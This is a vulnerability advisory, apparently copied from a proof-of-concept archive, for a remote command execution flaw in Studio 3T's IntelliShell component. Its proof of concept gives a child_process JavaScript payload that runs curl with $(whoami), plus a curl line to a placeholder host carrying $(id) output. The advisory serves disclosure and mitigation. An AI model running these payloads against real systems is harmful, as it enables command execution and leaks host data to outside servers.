Studio 3T v.2025.1.0 # CVE-2025-52385
**Software**: Studio 3T v.2025.1.0
**Vulnerability Report**: Studio 3T Remote Command Execution
**Overview**
A critical vulnerability in Studio 3T version 2025.1.0 and earlier allows a remote attacker to execute arbitrary code via a crafted payload exploiting the child_process module in the IntelliShell component.
**Details**
**Vulnerability Type: Remote Command Execution**
Affected Product: Studio 3T, version <= 2025.1.0
Affected Component: IntelliShell
Attack Type: Remote
Impacts:
Code Execution: Yes
Denial of Service: Yes
Escalation of Privileges: Yes
**Description**
The vulnerability enables a remote attacker to execute arbitrary operating system commands by sending a malicious JavaScript payload through IntelliShell, leveraging the child_process module. This is a blind execution vulnerability, meaning no direct output is returned to the attacker.
Attack Vector
Establish a connection to a MongoDB instance.
Send a malicious JavaScript payload via IntelliShell that utilizes the child_process module to execute arbitrary operating system commands.
**Proof of Concept**
To verify the vulnerability, use the following steps:
Set up a local HTTP server:python3 -m http.server 80
Execute the following JavaScript payload in IntelliShell: const {exec} = require('child_process');
exec('curl 127.0.0.1/$(whoami)', (error, stdout, stderr) => console.log(stdout));
Alternatively, use the command below as a verification vector:curl http://site/$(id)
**References**
Studio 3T Official Website
Studio 3T GitHub Repository
CWE-78: OS Command Injection
CWE-94: Code Injection
**Mitigation**
Users: Upgrade to a patched version of Studio 3T (if available) or avoid using IntelliShell with untrusted MongoDB connections.
Vendors: Restrict or sanitize inputs to the child_process module in IntelliShell to prevent unauthorized command execution.
**Acknowledgments**
This vulnerability was discovered and reported by Kaio Mendonca Pereira.
登录后查看神龙缓存的 POC 文件快照
登录查看